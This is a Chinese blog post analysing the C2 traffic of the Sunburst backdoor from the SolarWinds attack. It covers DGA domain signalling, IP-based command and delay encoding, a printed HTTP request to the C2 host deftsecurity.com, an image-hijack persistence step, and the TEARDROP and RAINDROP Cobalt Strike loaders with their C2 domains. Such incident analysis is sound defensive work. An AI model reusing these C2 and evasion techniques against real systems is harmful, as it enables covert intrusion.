第66篇：顶级APT后门Sunburst通信流量全过程复盘分析

 Part1 前言 

大家好，我是ABC_123。前面几周分享了Solarwinds供应链攻击事件的详细攻击流程及Sunburst后门的设计思路，但是多数朋友还是对Sunburst后门的通信过程还是没看明白。本期ABC_123就从流量的角度，把Sunburst后门的通信过程完整地复盘一下，这样可以更直观地展示Sunburst后门是如何绕过流量监控的，从中我也学到了很多东西。

注：国外很多分析文章对于Sunburst后门的通信过程说法不一，很多细节描述存在很多矛盾的地方。ABC_123按照自己的理解，综合各个安全公司的文章进行了复盘，其中难免有疏漏之处，敬请修正。

注：Sunburst后门通信逃过了美国耗时十多年、花费数百亿美元建造的网络攻击防御系统“爱因斯坦”（Einstein）。

建议大家把公众号“希潭实验室”设为星标，否则可能就看不到啦！因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法：点击右上角的【...】，然后点击【设为星标】即可。

 Part2 后门通信的前置知识 

• C2控制Sunburst后门的方式

上一篇文章ABC_123详细介绍过，本期再简单回顾一下。C2服务端的攻击者会通过控制C2域名解析到不同的ip地址段，间接控制Sunburst后门的行为，接下来看一个简单的例子，看看攻击者如何控制Sunburst后门，使其永久退出。

首先，Sunburst后门发起了ea99hr2sfen95nkjlc5g.appsync-api.eu-west-1.avsvmcloud.com的dga域名请求，C2服务端的攻击者打算让这个后门永久停止退出，于是将这个dga域名解析到ip地址96.31.172.116，Sunburst获取到这个ip之后，查询如下列表，然后立即转为”Truncate”状态，清除各种痕迹后，永久终止执行。

• C2控制Sunburst后门的图解

蓝色部分CONTINUE的IP地址。当C2服务端攻击者将dga域名解析成图中蓝色部分的IP地址时，说明C2服务端的攻击者还未决定目标是否是有价值的目标，是否要进一步渗透，所以需要Sunburst后门会继续发起dga域名请求，以便接收攻击者发送下一步指令。

红色部分的STOP的IP地址。如果随后攻击者发现目标计算机价值不大，或者目标机器安装的防护软件太强，需要放弃对此目标的渗透。C2服务端攻击者就会将dga域名解析为红色部分的ip地址，这样Sunburst得到这部分的ip之后，会清理痕迹，然后永久停止运行。

紫色的TARGET部分的IP地址。如果攻击者觉得受害目标值得进一步渗透，就将dga域名解析为上图紫色部分的ip，然后返回一个cname域名，Sunburst会接收这个域名（如图中的deftsecurity.com），用作第2阶段的HTTP C2阶段的域名，开始正式接收C2的指令和回传指令执行结果。

• 延迟定时器

C2的域名服务器不仅仅通过将dga域名解析到不同的ip地址来控制Sunburst后门的行为，还通过控制解析IP地址的最后8位字节来控制Sunburst后门的下一次执行命令的等待时间。例如，C2服务端将dga域名解析为96.31.172.116的ip地址时，Sunburst后门会将IP地址的最后一个八位数与掩码0x54进行与运算得到一个“与结果”，然后参考下表中选择一个延时时间，在该间隔内Sunburst随机选择一个延时时间。

• C2控制后门终止运行案例

首先放出一张国外视频中给出的一个截图，讲述了C2控制Sunburst后门终止运行的全过程。

 第1步  Sunburst后门请求一个域名如下：lf9prvp9o36mhihw2hrs260g12eu1.appsync-api.eu-west-1.avsvmcloud.com，对于这个域名的lf9prvp9o36mhihw2hrs260g12eu1部分使用工具解密，发现得到目标机器所在的域名omeros.local。接着攻击者将域名解析到8.18.145.139这个ip地址，Sunburst通过ip地址的最后8字节运算，得知需要延迟一分钟之后，将安全防护软件状态信息发送给C2服务端。

 第2步  延迟一分钟之后，Sunburst后门发起第2个请求，通过dga域名的加密部分告诉C2服务端，目标机器有Carbon Black终端安全防护软件存在。C2服务端将dga域名解析为8.18.145.62，Sunburst后门解析ip地址的最后8字节，得知需要延迟1天之后再次发起dga域名请求。

 第3步  延迟1天之后，Sunburst通过ping如下dga域名，向C2请求指令，C2将域名解析为8.18.144.150，Sunburst需要继续等待1天，然后发起dga域名请求。

 第4步  延迟1天之后，Sunburst通过ping一个dga域名，C2将域名解析为8.18.145.151，Sunburst继续等待。

 第5步  延迟1天之后，Sunburst通过ping一个dga域名，C2将域名解析为20.140.84.127，Sunburst得到了这个ip，立刻明白C2让其立刻终止运行，说明C2的所有者经过思索，认为此域名计算机进一步渗透的价值不大，故放弃。

通过这个案例发现，Sunburst后门在规避流量检测方面下足了功夫，首先它在4天的时间内，仅仅发起了5个dga域名的DNS请求，而且域名appsync-api.eu-west-1.avsvmcloud.com很容易让人联想到AWS的域名，导致后期安全人员进行溯源的时候，被认为是正常域名请求。从来没有一个后门有如此的耐心，延迟时间如此之长。

 Part3 完整的后门通信案例 

接下来看一个Sunburst后门的完整通信案例，包括了Sunburst后门通过dga域名传输受害者计算机名、安全防护软件状态以及c2向Sunburst后门发送HTTP C2通信阶段的CNAME域名过程，这是第1阶段；然后再到第2阶段，Sunburst后门发起GET请求.xml文件获取C2下发的指令，后续将指令结果通过PUT请求以JSON文档格式回传给C2端；最后到第3阶段，投放加载器加载执行CobaltStrike后门的阶段。

 1   dga域名传输阶段

 第1步  2020-06-11 04:00 UTC

Sunburst发起查询：r8stkst71ebqgj66ervisu10bdohu0gt.appsync-api.us-west-2.avsvmcloud.com ⇒ AD 域，C2攻击者得到第 1 部分内容“central.pima.g”

响应：8.18.144.1 ⇒ Sunburst后门休眠 1 小时，然后继续。

 第2步  2020-06-11 05:00 UTC

Sunburst发起查询：ulfmcf44qd58t9e82w.appsync-api.us-west-2.avsvmcloud.com ⇒ AD 域，C2攻击者得到第 2 部分“ov”

响应：8.18.144.2 ⇒ Sunburst后门休眠 1 小时，然后继续（此时攻击者知道了目标计算机的完整域名是central.pima.gov）。

 第3步  2020-06-11 06:00 UTC

Sunburst发起查询：p50jllhvhmoti8mpbf6p2di.appsync-api.us-west-2.avsvmcloud.com ⇒ 无可报告。

响应：8.18.144.16 ⇒ Sunburst后门休眠 8 小时，然后继续（此时攻击者知道，目标的防护软件都处于关闭状态）。

 第4步  2020-06-11 14:00 UTC

Sunburst发起查询：(?) ⇒ 没有新的报告

响应：8.18.144.17 ⇒ Sunburst后门休眠 8 小时，然后继续（此时攻击者在评估该目标是否有价值，是否值得进一步渗透）

 第5步  2020-06-11 22:35 UTC

Sunburst发起查询：j5uqlssr1hfqnn8hkf172mp.appsync-api.us-west-2.avsvmcloud.com ⇒ 无需报告

响应：184.72.181.52 ⇒Sunburst休眠1-3 分钟（解析到该IP地址，Sunburst将会准备进入第2阶段HTTP C2阶段）

 第6步  2020-06-11 22:37 UTC

Sunburst发起查询：7sbvaemscs0mc925tb99.appsync-api.us-west-2.avsvmcloud.com ⇒ Sunburst后门请求 CNAME

响应：deftsecurity.com ⇒第 2 阶段 HTTPS C2 服务器的 CNAME（此时Sunburst通过dga域名解析，发现CNAME值不为空，于是获取该CNAME值，将其作为进入第二阶段HTTP C2通信阶段的域名）

 2   发起HTTP请求向C2请求指令

Sunburst后门随后进入HTTP C2通信阶阶段，Sunburst向C2的CNAME值deftsecurity.com发起如下HTTP请求，请求一个xml文件：

GET /swip/upd/Orion.UI-5.2.0.xml HTTP/1.1

If-None-Match: bfc145s6149c4290ef3b2c1732449c562a24g66d

Host: deftsecurity.com

Connection: Close

如下图所示，服务端返回一个看起来像是一个正常的xml程序集的文件，其实攻击者的控制指令就被加密隐写在这些XML文件的一些字段的值中。

Sunburst通过解析上述xml文件中的加密部分，得到指令ID和指令的附加参数。参考如下表格，如果指令对应的ID是Exit，就是终止当前线程，如果是SetTime，就结合解密出来的附加参数设置延迟时间。

 3   向C2回传命令执行结果

在从xml文件中解密获取到攻击者发送的指令之后，Sunburst会执行指令，然后将返回结果回传给服务端。上篇文章ABC_123重点介绍过，对于返回结果小于10,000的情况，会向一个结尾为.woff2的url以PUT请求发送一个json格式数据，Sunburst把执行结果加密隐藏在json文档中。

url生成规则如下（详情请见上一篇文章）

Sunburst回传数据的请求数据包大致如下（这是ABC_123根据国外分析文章拼起来的，可能会缺少部分的header头信息）

请求数据包的解释如下：

接下来Sunburst后门会不断向c2域名请求xml文件，获取需要执行的指令，然后将执行结果通过PUT请求以json文档的形式回传给c2服务端，之后进入第三阶段使用CobaltStrike后门进行内网横向阶段。

 4   CobaltStrike后门通信

接下俩进入第三阶段，Sunburst会下载一个vbs脚本及Loader加载器程序，然后放在C:\Windows目录下，伪装成合法文件。接着Sunburst使用映像劫持技术，修改注册表，将dllhost.exe与wscript.exe C:\Windows\[folder]\[trigger].vbs命令绑定，至此Sunburst后门已经完成了它的使命，系统静静等待dllhost.exe执行，进一步执行vbs脚本。bbs脚本会运行rundll32.exe加载前一步的恶意dll文件，随后清理dllhost.exe的映像劫持注册表，清理痕迹。

• 投放TEARDROP工具

TearDrop总共发现两个变种：

第1个变种是libintl3.dll，该样本通过rundll32.exe加载，然后从当前目录读取名为 upbeat_anxiety.jpg 的图片文件，并确保它具有 jpg 标头，并从中提取shellcode，该CobaltStrike后门通过连接到 infinitysoftwares[.]com进行命令和控制。

第2个变种是NETSETUPSVC.dll，使用了添加服务的方式启动，过svchost.exe加载并调用导出函数NetSetupServiceMain，NETSETUPSVC.dll文件复用了libintl3.dll文件的代码。从当前目录读取festive_computer.jpg图片文件，该CobaltStrike后门通过连接到ervsystem[.]com进行命令和控制。

TEARDROP使用“twitter.com”作为https协议中的Referer字段的内容，会使安全人员误以为C2域名infinitysoftwares[.]com是一个正常的白名单域名，从而逃避检测。

TearDrop的CobaltStrike通信阶段的流量数据如下：

• 投放RAINDROP工具

以bproxy.dll形式存在，之后安装了一个7z.dll的文件之后将域渗透工具DSInternals提取到受害者机器上。对于7z.dll文件，该文件的制作依赖于7-zip开源代码为载体，攻击代码隐写在代码段中。该后门同样会以CobaltStrike方式，通过与bigtopweb.com通信实现内网横向控制，Referer伪装成bing.com迷惑安全人员，误以为bigtopweb.com是一个正常的白名单域名。

在这个阶段，有的CS实例基于HTTP的命令和控制服务器，有的是用SMB的网络通道\\.\pipe\protected_storage进行内网通信。（完整的数据包没有找到，大家从下面的日志中一窥全貌吧）

RainDrop的CobaltStrike通信阶段的流量数据如下：

 Part4 总结 

1.  Sunburst后门激活后门随机等待12到14天然后正式激活执行，部分单位的安全设备日志留存12天左右，然后就会被新的日志覆盖掉。

2. C2的通信在初始阶段获取内网计算机域名和安全防护软件基本信息过程中，流量都隐藏在dga域名中，难以发现。而且在3、4天的时间，Sunburst后门仅仅发起4、5次dga域名请求，如此低频率的访问更加难以发现。

3. 价值不高的目标会被立刻终止掉，防止被检测设备发现。

4. 攻击者最终只选择了大约1%的有价值的目标进行内网横向渗透，并将安全防护很高的目标放弃掉，这种取舍，降低了被发现的概率。

5. dga域名解析的ip地址段，选用的是微软、谷歌、亚马逊的地址段，很容易直接就被检测软件加入白名单，整个通信流量看起来都是正常流量，难以甄别。

6. Sunburst后门所使用的的dga域名appsync-api.us-west-2.avsvmcloud.com很好地迷惑了安全人员的溯源，使其误以为是AWS旗下域名。

7.  综上所述，大家可以看到Sunburst设计的精妙之处，流量层面做得如此隐蔽，不得不让人惊叹，后续ABC_123会继续分享火眼FireEye公司是如何对此次攻击事件进行溯源的，敬请期待。

公众号专注于网络安全技术分享，包括APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等，每周一篇，99%原创，敬请关注。

Contact me: 0day123abc#gmail.com(replace # with @)